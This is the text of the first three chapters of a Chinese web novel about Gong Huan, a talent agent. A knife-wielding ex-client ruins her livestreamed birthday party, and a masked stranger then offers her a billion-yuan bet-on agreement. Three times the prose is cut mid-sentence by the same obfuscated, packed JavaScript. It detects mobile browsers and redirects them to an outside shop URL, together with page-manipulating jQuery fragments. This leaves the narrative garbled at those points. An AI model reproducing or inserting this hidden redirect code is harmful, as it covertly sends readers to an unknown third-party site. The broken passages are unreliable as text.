《请问这是抽象娱乐圈吗》 1. 生日惊变 “借过。” 一道声音擦过穿着晚礼服的女人身旁。 她下意识想避让,但还没来得及,男人就迫不及待地撞开了她半边肩膀,强行从身侧穿过去。 女人手中的香槟险些洒落。 她面露不虞,但环看四周觥筹交错,灯光柔美,来这的人都有头有脸。 只好体面的强忍下去刚才的插曲,转身去跟另一位远近闻名的大明星敬酒去了。 毕竟这可是个难得的好机会,能结交不少人物。 偌大而奢华高调的别墅后花园中,鼎鼎有名的演奏乐团围绕喷泉依次排开,绕着喷泉奏响乐曲,泉水随着欢快的乐曲起起伏伏。 池水里流淌着不知哪位人物泼洒的红酒,高脚杯正被遗落在池水底部。 水面倒映着这座后花园中的盛宴。 众多明星齐聚于此,满场尽是体面人,但这群人围聚在此不是为了红毯走秀,而是为某人庆生。 “诶,人还没出来吗?” “没呢,估计又是换礼服去了,生日会才开始不到半小时换了三套礼服了,我真服了!那谁都没她夸张!” “没办法,谁让人家是主角呢,配合一下算了,别忘了我们来干嘛的。” “哎呀知道知道。” 两个穿着高定服饰的人交头接耳窃窃私语,样貌端正,妆容精致。 如果有路人经过,一定会认出来两人正是热播剧中的两位主角,而这两位还没吐槽几句就被生日宴会的主持人打断。 “感谢各位来到宫欢小姐的生日会!” “本场宴会邀请了各界知名人士,感谢各位的捧场,为了让大家玩得愉快,宫欢小姐开启了生日宴会直播,面向各大社交平台,让众多网友和我们一起为宫欢小姐庆生!!” 主持人音调激昂,热情洋溢,但说完最后一句话时,整个宴会突然陷入死一般的寂静,甚至一些常常把笑挂在脸上的体面人都差点挂不住脸。 咔呲—— 不知是谁手中的高脚杯捏碎了。 主持人维持着热情,朝后花园处做出尊敬的手势,再次说:“让我们欢迎宫欢小姐出场!” 后花园里容纳了近千人,此刻一个掌声都没有。 主持人额头逐渐冒汗,他打算再说一次时,稀稀拉拉的掌声响起,他才松了口气。 虽然尽管这掌声听起来用力了些,像是要扇谁似的。 工作人员拿出直播专用摄像机架在一个十分显眼的地方,找好位置角度,扭头冲一穿着干净利落的黑衣女人说: “高姐,已经打开直播了,标题为——为娱乐圈劳模经纪人宫欢小姐庆生!” 高姐是宫欢的助理,她朝工作人员点点头,准备迎出换好礼服的宫欢。 多年工作经验让她早已习惯这些不痛不痒的注目礼。 她无视那些想杀人的视线,理了理自己的衣领,不慌不忙地走到红毯尽头准备迎出今天的主角。 高姐很明白,按理说这种私人生日宴很少向外公开录像视频,毕竟很多参加宴会的大小人物不便出镜,越私密越好。 但,他们遇上的可是宫欢啊。 那个无所畏惧黑料的宫欢。 行事作风高调夸张,风风火火的宫欢。 衣着华丽的众多明星们牙都咬碎了,宴会主持人耳边噼噼啪啪的酒杯碎裂声,与天空正燃放的璀璨烟花相衬。 明星们只好僵笑着表演出温馨美好欢乐的一派祥和场面。 这场生日宴会开在别墅区的一座后花园,花园往别墅住宅的方向铺着红毯,两侧鲜花艳丽,红毯一路延伸至尽头的一扇雕刻着繁复花纹的门处。 随着后门轻轻打开,喷泉旁的乐曲悄然变调。 万众瞩目的宫欢走了出来。 她身穿暗红色抹胸礼裙,柔白细腻的手臂带着蕾丝花边的长手套,一头红褐色长卷发堪堪及腰,两条丝带在腰间系成蝴蝶结后还余出许多,走动时在身后飘动。 宫欢略显夸张地往前迈了一步,后腿立刻跟上,形似一个芭蕾舞的站立动作。 她也是临时学的,不太像,但优雅就行了。 接着她抬手扶住胸口,微微吃惊,张开嘴巴惊叹:“天呐,居然有这么多人来为我过生日吗?” 众多明星:“......” 高姐轻咳两声,给她做口型:“过了,过了。” 宫欢只好稍微收了点势,沿着红毯一步步往前走,每三步一停摆个pose,五步一个旋转,无人机在天空飞过拍摄下她盛装出场的每个姿态。 受邀而来的明星们站在红毯两旁鼓掌微笑,像一个个假人,心里不知道骂了多少遍。 此刻。 【为娱乐圈劳模经纪人宫欢小姐庆生】的直播间荣登各大社交网站榜首,进入直播间的粉丝们五花八门,都是冲着自家明星来的,唯粉,cp粉,黑粉,团粉齐聚一堂。 刷屏文字更是快到肉眼无法识别出具体内容。 【为xxx哥哥欢呼,暗光下的他五官超立体!我快要昏过去了!】 【啊啊啊啊阿你们快看,我姐今天的礼服超简约优雅的!!比某人一的身花里胡哨不知道美到哪儿去了!】 【事与愿违yyds!!他们对视了对视了!!!啊啊啊!!】 【团魂就是神!!团魂就是希腊神话集合体!】 成千上万条评论里有一些人发现了盲点。 【咦,这不是时装周红毯啊,这么多大佬都在这干嘛呢。】 【你们看直播标题了吗!!】 【宫欢!??】【谁??】 【又是她,诶不是,镜头别动啊,我要看我家哥哥!】 助理拿起直播摄像机将主要镜头对准在了宫欢身上。 她走完了红毯,正在尽头等待高姐推来八层蛋糕。 蛋糕的花边细腻精致,每层的奶油装饰都不同,从下往上是不同的祝语,最上面那层是一个宫欢模样的翻糖小人,26岁的蜡烛在第五层闪动着烛火。 宫欢单手捂着胸口,看着蛋糕眼睛里溢出泪花,四周的灯光都聚焦在她身上,她不敢置信地摇头,感动到说不出话。 “真的是......太让我感动了。” 红毯附近的大小明星们手都拍僵了,感动个毛啊,不是你自己定的蛋糕吗? 她们催促着她说:“快许愿,你最想要什么,许完愿就可以吹蜡烛了。” 她们就能找借口提前撤了。 高姐将蛋糕推近后就在一边静静的看着宫欢。 宫欢的戏一直很多,不过这次,她演技有点出乎意料的好。 演技一旦好了,就说明,她没在演。 她是真的在感动,尽管这是她的自我感动。 宫欢双手合十交叠在一起,迎着聚光灯仰起头闭上眼睛。 她秀丽的眉眼与鼻梁流畅连接,带着一层浅金色高光,眉骨在眼窝处投下浅浅的阴影,眼尾上扬,睁眼时像只骄傲的布偶猫,闭眼后倒显得文静的多。 她的长相在娱乐圈里不是特别出众,但胜在气质独特,尤其配上火爆脾气,也是少有的气质人物。 宫欢在内心用自己的声音说:“我想要正常的生活,温热的饭菜,有朋友和伙伴——” “啊啊啊!!” 突入起来的一声尖叫打破了这美好一幕,红毯两边的人退避三舍,宴会上出现了一个不速之客。 男人没有收到邀请函,是偷偷潜入进来的。他手中持刀,目光凶狠地看着前方的宫欢。 “宫欢,你过得挺好啊。” 宫欢听到尖叫声时嘴角的笑意僵了僵,还舍不得睁眼,直到男人的声音响起,她才慢慢冷下脸,不爽地看向那个闯进生日宴会的人。 人群中有人认出了他,指着他说:“你,你不是韩雨寒吗??” 这话一出,如同惊雷炸耳,其他人都纷纷议论起来。 “韩雨寒?那个唱歌的,听说演唱会出了事儿被封杀了。” “该不会跟宫欢有关系吧,你看他那个架势。” “嘘嘘,谨言慎行,直播呢。” “咳咳咳咳......哎呀好可怕啊,有刀!” 是的,他们说的没错。 韩雨寒,宫欢之前带过的一个艺人,名气不大,脾气倒不小,多次脚踏多条船屡次不改,被狗仔拍到爆料就痛哭流涕的找宫欢求助。 他的声音是蓬勃向上的青年音,清朗温润,唱起歌来让人嘴角忍不住上扬,如夏日清爽的夜晚。 宫欢就是因为这个才和他签约为其经纪人,但后面也是实在不想收拾烂摊子,主动提出了解约。 他打断宫欢过生日最重要第一个步骤,她没什么好脸色:“我没有给你发邀请函。” 韩雨寒嗤笑两声:“我好歹给你赚了不少钱吧,连个邀请函都不舍得给我发,还带头封杀我!宫欢,得不到就想毁掉,你别太过分!” 宫欢挑起半边眉毛,那双猫儿眼带着点倨傲不屑。 这人哪儿来的脸? 宫欢先是不敢置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126292|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看了眼高姐,高姐满脸无语,她也很无语,直接气笑: “得不到就毁掉?在场哪位愿意给他撒泡尿照照镜子,你以为你算哪根葱值得我来封杀,那是你自己作的好不好。” 两人对峙时,宫欢直播间里的大批其他家粉丝都消失了在吃瓜,而韩雨寒的粉丝得到消息匆匆赶来,开始刷屏。 【我就知道哥哥是无辜的,他被封杀肯定是被人陷害!没想到啊,陷害他的人就在身边!】 【之前传出的绯闻果然是假的,合着宫欢是单方面喜欢寒寒啊,我们寒寒为了资源肯定只能忍气吞声,被封杀了将近一年!我一年都没看到新作品!】 【宫欢黑料都是本百科全书了,谁还敢跟她啊,除了我们哥哥老实不懂事。】 关注直播的助理小声的说:“欢姐,评论一边倒,都在说你。” 原本还想装一装优雅生日花的宫欢彻底黑脸,身为一个经纪人黑料比艺人还多她不觉得有什么,但她绝对不许这些人在生日会当天舞到她脸上来! 宫欢愤愤地将视线转回韩雨寒脸上,这人手里拿着把水果刀像是生怕别人不知道他很不好惹。 宫欢指着自己的脖子:“来,往这砍,你今天只要敢让我见血,我就算你是个人,从此之后我不会让任何人雪藏你!” 韩雨寒被宫欢这态度架起来了,他攥紧刀,目光凶狠: “我也不想在你生日这天给你难看,但是是你先绝了我的路的!我现在穷光蛋一个,卡里只有五十万!!” “再也没人找我代言了,出歌也被抄袭,演戏剧不过审,我真的要疯了!” 韩雨寒激动得往前走了两步,逼近不少距离,宫欢老老实实站在原地,高姐看着都有点急。 虽说高姐知道韩雨寒很垃圾没出息,但人逼急了很难说会做出什么事。 “我只有一个要求,只要你不再封杀我,让我能活下去,我就不会对你做什么,”韩雨寒粗喘着气,手背上的青筋绷起,“但是,如果你还是不放过我,我就爆出你所有勾当!” 宫欢越听越觉得好笑,她抱起手臂,高高在上的讽刺: “出歌被抄袭你也好意思说,你什么写歌水平自己不知道吗?随便去田里拉一头牛用蹄子印在五线谱上都比你有天赋,你跟那谁,你俩明明就是抄国外的歌抄到一起去了,真是狗咬狗,还好意思朝我叫。” “演戏不过审,你那演的什么垃圾,现代都市剧非要选个傻白甜三十岁大男孩的剧本,这剧本你也敢接,三十岁还清纯无知呢,你怎么不说你五十岁正少年,六十嗷嗷待哺啊?要不要点脸?我真想呕。” 宫欢翻了个白眼,越说越来劲,“剧情也跟脑子被泡过泔水似的,但凡少件衣服就下海了,我都不想说你。” “那些导演制片没长眼你也没长吗?” 韩雨寒被骂得狗血淋头,瞥见直播界面里冒出的各种弹幕,脸色一阵青一阵白,他是见识过宫欢骂人的功力的,怒喊一声仗着声大气势强: “够了!你就是在污蔑我,你之前签我的时候百般示好,不就是想潜规则吗!我没让你潜成,你就怀恨在心——” “天地良心!!!” 宫欢感到头疼,用她超高嗓音强行压下了韩雨寒的话,“求你别说了。” 韩雨寒嘴角斜勾起,仿佛找回了场子:“怎么,戳到你的痛处,终于敢认了?” 宫欢深呼吸几下,“我吐口吐沫给你照镜子吧,怎么那么自信呢?就算潜规则,我也是有标准的好吧,身高低于188勿谈,身高比必须三七分,长相中等,才勉强入我的眼OK?你算哪个坑里的癞蛤蟆??呱呱叫就丑到我面前来了??” 宫欢是真的被恶心到了,甚至转过身想做出呕吐的模样。 韩雨寒的自尊心被她反复踩在脚下,他发现周围那些一线二线的明星看他的眼神就像在看一条乞讨的狗。 该死,该死! 羞愤至极,韩雨寒双眼赤红,情绪之强烈堪比以往演过的所有角色。 他低吼出声,猛地丢开手里的水果刀,上前一步将面对8层大蛋糕的宫欢狠狠推了一把! ——砰! 蛋糕架轰然倒塌,奶油飞溅染白一片草地,点缀用的蓝莓一颗颗咕噜咕噜的滚落在喷泉池水中,顶级乐团演奏的曲调正逢跌宕起伏的阶段。 明星艺人的惊呼声不断,直播间里的弹幕评论飞快刷新。 宫欢整个人埋在香甜柔软的奶油蛋糕里,几乎喘不过气。 这是宫欢过得最刺激的一个生日。 2. 对赌协议 “姓名。” “宫欢。” “年龄。” “26。” “性别。” “......这个还要问吗?”宫欢一脸疑惑地看面前做笔录的民警。 别墅后花园中,一切偃旗息鼓。两辆警车停在铁栅栏外,人群与繁华尽数散去,助理与保洁收拾着满地狼藉,民警在对几个人做问询记录。 被打断的民警抬头瞥她一眼,“我问你什么就答什么。” 宫欢撇撇嘴,抬手将头发上的奶油捋下来甩在一边,老实回话:“女。” “听说今天是你的生日宴会。” 民警抬头直视面前这位满身黏腻奶油的宴会主角。 接到报警信息赶至现场时,这位宴会主人刚从蛋糕堆里爬出来没多久,正坐在喷泉池水边,乍一看以为是人造雪人。 他费了些劲才找到她的眼睛在哪—— 被两颗蓝莓点缀着,整个人看不出样貌,花了几分钟把奶油甩干净才勉强有个人形。 宫欢敷衍的嗯了声。 民警:“你认识持刀闹事的人吗?” 她刚张嘴想说不认识不熟,跟那傻逼撇清关系。 好巧不巧,两位民警压着罪魁祸首往警车去。韩雨寒奋力挣扎着喊叫:“放开我,我是无辜的!我没伤人!我只是吓唬她一下!!你们不能抓我!” 闹腾间,韩雨寒瞥见喷泉旁的民警和满身白腻奶油狼狈的一坨人,这无疑就是宫欢了。 他动作顿了顿,还探头去看那张糊满奶油、妆容黑花扭曲的脸,随即猖狂的大笑起来: “哈哈哈哈哈你也有今天,我就是要毁了你!把我受到的那些委屈全还给你!蛋糕好吃吗宫欢?哈哈哈!” 做笔录的民警正给同僚们使眼色让他们把人赶紧架走。 宫欢顺手摸到身边的空酒瓶,抡圆了胳膊朝着韩雨寒猛力甩过去! 酒瓶甩出一个高高的弧线,精准砸在韩雨寒头上,咣得一下弹起来又落在地上,他猛地顿住两眼一翻身体软了下去。 好在有两位民警架着他,才没让韩雨寒倒在地上不省人事。 也不知道这人脑袋怎么那么硬,酒瓶完好无损。 宫欢正想再摸个什么甩过去,笔录民警板起脸严厉呵斥:“干什么呢,当着我的面就要寻衅滋事恶意伤人是不是。” 宫欢讨好笑笑,默默背过手:“不好意思啊,我手滑了,想把酒瓶扔那边垃圾桶里的,误伤,误伤。” 好在民警没追究,瞪她一眼,“他有伤到你那里吗?” 宫欢也严肃起来:“有,伤到我脆弱的心灵了,能给他判个十年八年吗?” 感觉不够,宫欢身体慢悠悠晃了两下,柔弱的扶住头:“我还感觉头好晕,会不会刚才他推我推出脑震荡了?” 民警看破她拙劣演技,满脸公正不信,“身体不舒服就去做检查,后续可以要求赔偿。人我们带走押送去警局,今天时间不早了,又是你的生日,就不强行让你跟随去做问询记录了,收拾收拾去睡觉吧,我们会查清楚持刀人他的目的,后续有情况再联系我们。” 宫欢连连点头,笑的讨好乖巧,一点儿都没有负面情绪,让民警对她高看两眼。 临走时宫欢还要给人送到门口,结果人家摆摆手:“回去吧,祝你生日快乐。” 这句话让宫欢愣在原地,直到警车消失在道路尽头,她才吸吸鼻子转身回到别墅后花园。 高姐和两个小助理在帮着保洁们收拾场面,偶尔能听到保洁阿姨埋怨两句。 “这么大的蛋糕全糟蹋了,要是没有那个人,蛋糕都会分给大家一起沾沾喜气,结果喜气没沾到,还得加班清理,什么事儿啊你说。” 隔着树影花丛,高姐安慰的声音隐隐约约传过来。 宫欢在原地站了片刻,绕开花园区域,一人走到安静的地方仰望天上的圆月出神。 白奶油的黏腻感遍布全身,头发结成一缕缕的,摸起来像是树根。 望着清皎月光,宫欢幽幽长叹一声,手伸到头顶摸到颗草莓,拿下来咬了一口。 酸甜的汁水在口中迸溅开来,情绪也仿佛缓和许多。 差点把生日过成凶杀现场的也非她莫属了,早知道就该看看黄历今天适不适合过生日。 思绪漫无目的飘着,宫欢倒没有什么大的情绪起伏,只是人有些发怔,身影在月光下显得清冷孤寂。 明明半个小时前,这里热闹非常,怎么一眨眼,就什么都变了。 两三口吃完草莓,宫欢又摸了摸后腰的蝴蝶结,看看藏得还有没有别的食物。 为了今晚的生日宴会,她忙得没空吃东西,早就饿了。 摸索间,耳边传来窸窸窣窣的碎叶晃动声,宫欢想着估计是高姐来找她,于是头也不抬的说:“让我自己待会就好,你们先回去吧。” “26岁的生日只会有一次,自己躲在这里很可怜啊。”陌生的声音在身后响起,带着玩味调侃。 宫欢警惕地转过身,皱眉看向来人。 纯黑的身影一步步靠近,这身形比宫欢高大许多,将她半笼罩在阴影中。他戴着银色面具,遮住鼻梁以上的大半张脸,身穿着贴身合体的高定西装。 宫欢仔细辨认着,愣是认不出这人的来路。 她记得自己办的不是蒙面舞会啊,该不会是韩雨寒的同伙吧? “宴会已经结束了,”宫欢谨慎地说,“大门往前左拐,走好不送。” 青年不为所动,他的目光在宫欢身上上下端详了一番,抿紧了唇,像是在憋着什么。 他咳了一声掩饰着笑意,说:“宴会给了我很大的惊喜,很有趣,作为感谢,我觉得应该回礼给宴会主人。” 宫欢的脸慢慢皱起,以一种略带怨气的表情看他:“你是不是想笑我?” 青年否认的很快:“没有。” 常年浸在娱乐圈,识人千面,宫欢扫了他几眼,大致可以确定韩雨寒攀不上这种高枝。面前的青年说话彬彬有礼,气质脱俗,显然是从小富养出来的。 她在脑中搜索了半天,怎么都想不出自己邀请过这号人,参加生日宴的基本都是她认识的圈中明星,就算有富二代,她也该认得出来。 难道是哪个明星的金主? “不用这么客气,您想给些什么回礼?”宫欢试探的问。 青年微微低头,从胸前的西服口袋里抽出灰蓝色的手帕,往前几步靠近宫欢,微微俯身,用手帕轻轻擦拭她脸上的残留奶油。 宫欢眉头一挑,没有后退,任由他动作。 “你有没有觉得,你在娱乐圈也待了两三年了,却混不出个名堂,”青年的面具反射过月光,说的话直戳人软肋,“有点废物?” 现在让警察叔叔回来还来得及吗? 把人直接拷走,直接死刑可以吗? 宫欢深深呼吸,忍住想抽他的冲动:“有屁快放。” 青年见她像个炮仗似的,再逗两句就要炸了,慢慢悠悠退开距离,将脏兮兮的手帕叠起来随手丢在旁边的垃圾桶里。 “想不想玩个游戏,赌一次大的?” “什么意思?” “你这几年手下的艺人基本没有成角的,”青年对宫欢了如指掌,“有些不是绯闻缠身,就是在火的时候作死凉了,包括你也是,在圈里不尴不尬的混着,人人都讨厌你,厌烦你,圈外人把你当乐子看,圈内人也不认同你。” “不想打个翻身仗吗?” 在宫欢快要黑着脸把人揍一顿时,青年蹦出了这么一句话。 虽然他说的话很难听,可句句都精准命中了宫欢的现状和过往的所有履历。 宫欢在娱乐圈的位置确实尴尬,她有很大的流量,却都是上不得台面的流量,她认识很多人,却是那些人的附庸品。 生日宴会盛大如此,来参加的人对她说生日快乐的屈指可数,不超过五个。 宫欢压下内心翻涌的情绪,高高抬起头看着青年:“说说你的游戏,我倒要听听看,这是怎么一场翻身仗。” 青年嘴角勾起笑:“很简单,你知道对赌协议吗?三年内,只要你能赚到10亿,我翻倍给你20 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126293|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亿,但反之,如果你做不到的话......我会没收你的全部财产。” 宫欢听到对赌协议四个字倒吸了口冷气,金钱单位居然是亿! 对赌协议她曾在一些大佬嘴里听到过,但那都是一线级别的顶级明星才有的选择,像她这种有点小钱的纯是边角料,根本够不上格。 现在,居然有人对她提出对赌协议。 宫欢看青年的眼神都变味了,这不是脸带面具的神秘装逼男,而是金主大人! 刚才她大言不惭口出狂言,简直是在自断财路! 入圈以来,她满打满算没赚几千万,亏了倒不少,很多时候宫欢怀疑自己是来做散财童子的。 宫欢险些被20亿冲昏头脑。她晃了晃头,被冷风吹的清醒了些,没忽略后果——失败的话会被收走所有财产。 说实话,宫欢财产不多,从她和家里决裂自己出来创业开始,就那么几千万和一套别墅,在娱乐圈算是普通级别的了。 这简直就是以小博大,只要拼一拼就很容易够到的大目标。 几个闪念间,宫欢差点就要抱住这位金主大大的腿了。大概是夜风太冷,她瑟缩一阵,想到个很重要的问题。 “可我不认识您啊,您不会是在拿我开玩笑吧?”宫欢的语气变得尊敬,脸上浮现常见的虚伪笑容,“您是不是可以拿出点实力来看看?” 青年笑了声,手指从怀中抽出一叠支票和笔,随意写了个数字后将支票塞给宫欢。 在她瞪大眼睛举着支票在月光下确认时,青年转身慢悠悠走远了,留下一句话在风中飘散:“先给你一些启动资金,等你的好消息,后续我会再联系你。” 宫欢眼睛盯着支票上的数字,从最末尾开始数,一直数到最前面的1,“一,一个亿!!??” 她再转头去看,青年的影子已经消失,简直就像一场梦。 宫欢拿着支票在耳边来回扇动,听到纸质声响才确信这不是假的。 “啊啊啊啊啊啊!!!” 尖叫声响彻整座别墅,高姐匆匆赶来时看见宫欢拿着一张纸傻乐,她小心翼翼地问:“小欢,你还好吗?” 宫欢双眼亮起:“好的不能再好了!” 宫欢将支票珍之又重的收好,就拉着高姐走回后花园。她翻出早早准备好的红包分发给众人,面带笑容,美得冒泡,整个人晕晕乎乎的。 一个亿,一个亿,嘿嘿嘿,一个亿。 高姐担忧宫欢气坏了脑子,还伸手摸摸她的头:“你喝多了?” 宫欢猛地抓住她的手,壮气豪言:“从明天开始,我要努力奋斗,让所有人都对我刮目相看!我要让他们知道我宫欢不是吃素的!” 说到吃,高姐空出的那只手端起放在一边的小碟子,里面放着歪扭的一块小蛋糕,上面的26岁蜡烛正燃着摇曳的烛火。 高姐将蛋糕举到宫欢面前,还额外插了根五角星的烟花棒点燃,女人平时冷漠的脸带着柔和。 “闹这么大蜡烛居然还没灭掉,说明你的愿望一定会实现,继续把那个未完成的愿望许完吧。” 宫欢眼眶里再次冒出泪花,她忍着嗯了声,然后再次闭上眼双手合十。 她在心底默默说:“......我要挣到20亿!我一定会挣到20亿!” 繁华与喧嚣过后,围绕在宫欢身边的是高姐、助理和保洁阿姨们,她们满眼欣慰的看着宫欢,等她许完愿吹灭蜡烛纷纷鼓掌。 恍惚间,宫欢觉得生日宴会不一定要多么盛大,简单点也挺好的。 她正想着,一个小助理尖叫出声,胆战心惊地看向宫欢,满脸欲哭无泪。 “怎么了?”宫欢问。 “欢姐,”小助理带着哭腔指着直播器械,“我们忘记关直播,刚才韩雨寒把你推进蛋糕里那些,全都被播出去了!” 宫欢眼里被20亿点亮的光顿时熄灭,脸僵住,眼睛发直,整个人直愣愣地往后摔去,扑通一声实在地砸在地上,耳边传来其他人焦急心切的呼喊。 “小欢!”“欢姐!” 造!孽!啊! 3. 鬼畜视频 大起大伏的一夜过去。 宫欢昏昏沉沉地还未完全睡醒,手就下意识的往旁边摸索,顺利拿到手机,这才费力地睁开眼虹膜识别解锁屏幕。 她意识混沌,但本能的两眼一睁就是微博,查看热搜。 如她所料,10条热搜里至少五条是她的。 #宫欢生日宴前后始末 #韩雨寒持刀闯入宫欢生日宴 #韩雨寒写歌抄袭,xxx写歌抄袭国外作曲人 #宫欢骂人难听 #xx说在宫欢生日宴上玩得很开心 昨天为了保证睡眠,她克制着没去看即时热搜,没想到一夜过去,关于她的热搜居高不下,讨论热度不减。 宫欢随手点进一条热搜大致翻看几条评论,除了骂她的,还是骂她的。 【不愧是她,过个生日搞得跟天下大乱一样,显着她了】 【我想看个新闻都看不到,满屏都是某人生日宴,恭喜她啊,获得生日宴人尽皆知成就】 【越没有越显摆,她就是效仿那谁过生日大半个娱乐圈都来了,结果东施效颦把自己栽进去了】 宫欢翻看着,反而放松不少。 真实情况似乎没有想象中的那么可怕,她做足了心理准备,连睡觉都在做梦那些言论是如何变成狰狞的野兽扑上来撕咬她。 但真的面对了,好像也就那回事。 这些人不太会骂人啊,没点新词。 宫欢准备退出微博,去绿泡泡查看一下私人消息。微博自动刷新蹦出条视频,封面是宫欢站在蛋糕前,几个描边大字写着——“浅尝一口蛋糕”。 什么东西? 她有种不祥的预感。 发布视频的作者头像是张很抽象的图片,被P得扭曲模糊。 但宫欢一眼就认出来了,那张图是她之前参加红毯时被拍到得超丑的一张照片,这人用来当头像,不出所料应该就是黑粉。 宫欢抱着好奇地心态点进视频。 短视频时代,想要获得大量注意力和流量就要在前十秒中快速抓住人眼球,视频作者做到了。 开头2秒,宫欢站在8层蛋糕前闭着眼满脸期待憧憬,背景音乐还贴心的采用了唯美配乐。 第3秒画面忽然转变,音乐转为带着DJ的强烈节奏感;一个黑色背影冲入画面中用力推了宫欢一把,她栽进蛋糕里。 5秒之后的片段都是重复宫欢被推、栽进蛋糕的画面,BGM慢慢换成了DJ版的鬼畜音乐,而宫欢的尖叫声被剪辑降调成了电音,富有节奏地啊啊啊啊惨叫个不停。 就这么个重复的视频,点赞量高达180多万。 “这都行??”宫欢无语,手比脑子还要快地点开了评论区。 【哈哈哈哈哈哈哈什么人才,浅尝一口蛋糕,整个扑进去。】 【大家好,今天是我的生日,让我来浅尝一下蛋糕口味(转身一下扑进去,费力爬出来竖起大拇指)超级美味!】 【黑衣服的是韩雨寒吗?哇他也太敢了,搅乱生日宴会,要是我我会恨死他的】 【没人在乎宫欢的死活吗?我觉得她还挺可怜的】 【也太浪费了吧,八层的蛋糕就这么被弄脏了】 宫欢看着评论区陷入了沉思。 一个出洋相的视频围观看热闹的人占比竟然如此大。微博热搜大多数被各家明星粉丝占据刷屏,里面有时候并不是真实的数据。 短视频就不一样了,面向的受众更广泛,路人随机且不是任何一方的粉丝。 她第一时间的想法不是如何解决掉发视频的人,和看视频的人。而是如何将无法收场的事态发展转变为有利于自己的。 要知道,她没办法以一敌百千万军,既然打不过,那就加入。 宫欢打开绿泡泡,忽略掉一大串的消息,找到置顶的高姐对话框点进去。 宫欢:【看到今天的热搜了吗?】 高姐回复的很快:【一早就看见了,你才起床?要公关吗?】 宫欢忽略掉才起床那几个字:【要,我看到一个剪辑的鬼畜视频挺火的,你买点营销号让他们去找作者要授权,二次转载,或者把昨天的直播内容发给他们剪辑,怎么好玩怎么来。】 发完一长串消息,宫欢才注意到时间,她一觉睡到下午两点,怪不得高姐那么问。 将手机丢在一边起床洗漱。宫欢看见洗手台上的镜子里照出自己的脸,忽然想起昨天的一亿元。 昨天睡前她把那张支票塞进枕头底下,一直许愿那不是梦。 两三下洗完脸,她跑回床边翻出支票,再次确认上面的公章、钢印,和数字。 是真的没错。宫欢忍不住又嘴角上扬,坐在床边傻乐。 手机叮咚叮咚接连几声消息声,打开一看,高姐接连发来几条消息。 高姐:【???】 高姐:【你确定?】 高姐:【要借着生日宴来炒热度?】 高姐:【你是在拿自身的名誉去赌,我建议不要这样做】 如果是之前的宫欢,肯定不会这么做。 倒不是怕被人嘲笑看笑话,而是她觉得重心不应该在这上面,她的职业身份是经纪人,重点应该在艺人的营销上面。 可昨天的种种事件让宫欢有了别的想法。 一是对赌协议,三年内赚到10亿,她要倾尽所有能动的资源,包括她自己。 二就是关于艺人,艺人太不稳定,不能将所有的心血倾注在他们身上,她要保留自己在娱乐圈的热度。 宫欢盘算得很好,她拿着支票看了又看。 对赌协议的合同还未签署,不能将希望全部都放在上面。不过钱都到位了,事情几乎是板上钉钉,就是不知道那位金主大人是哪门子来路。 圈里神经病太多,宫欢不觉得这位金主想玩游戏的心是假的。 她简单回复高姐的消息:【放心,去做吧,我心里有数。你现在在哪?等下我要出去一趟,需要一起】 高姐:【客厅,等你一上午了】 高姐:【有三个黑衣人送来一份文件,说必须要你本人来才能查看,什么情况?】 看见文件两个字,宫欢愣住。下一秒,她以百米冲刺的速度冲出卧室下楼来到别墅大厅,连睡衣都穿得着急忙慌。 大厅休息区,高姐一大早就开始工作了。 她今天穿的简便西服外套,后脑扎着低马尾,鼻梁架一副银边眼镜,正面对电脑敲敲打打。 旁边坐着喝茶的三个黑衣人,板寸头,人高马大,个个坐姿端正,三人面前放着一份牛皮纸文档袋,看起来十分重要。 高姐见宫欢下来,眼神示意旁边三人,手指推了推眼镜框,“这几位说要当场看你签完文件再送回去,是什么文件?没听你提起过。” 宫欢简单带过:“是决定我未来的一份文件。” 其中一位黑衣人看见宫欢后拿起文件起身靠近,恭恭敬敬地将文件档案袋双手奉上:“宫欢女士,还记得您与那位先生的约定吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126294|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>效率很高嘛。宫欢压抑着内心激动接过档案袋,冷静下来郑重地拆封。 拆开档案袋,宫欢手指捏着纸质文件一点点抽出来,小心翼翼地瞄着上面的文字,直到看见“对赌协议”四个大字,悬着的心终于沉沉地砸进地底。 稳了! 她双眼放光,捧着协议畅想未来,好像这钱已经到手了—— 20亿要怎么花呢?买股份还是买庄园呢?法拉利还是兰博基尼? 宫欢还没见过这么多的钱,她算了算,20亿人民币大约能装满2到3节标准火车车厢?。 她花了点时间和高姐、法务确认协议中可能出现的漏洞,研究到傍晚才终于确定下来。 两份对赌协议签完后,黑衣人收走一份,临走前他说:“先生不让我泄露地址,他让我转告您不要想着去查他的身份,他会静观其变,再会。” 说完,三人脚步匆匆地离开了。 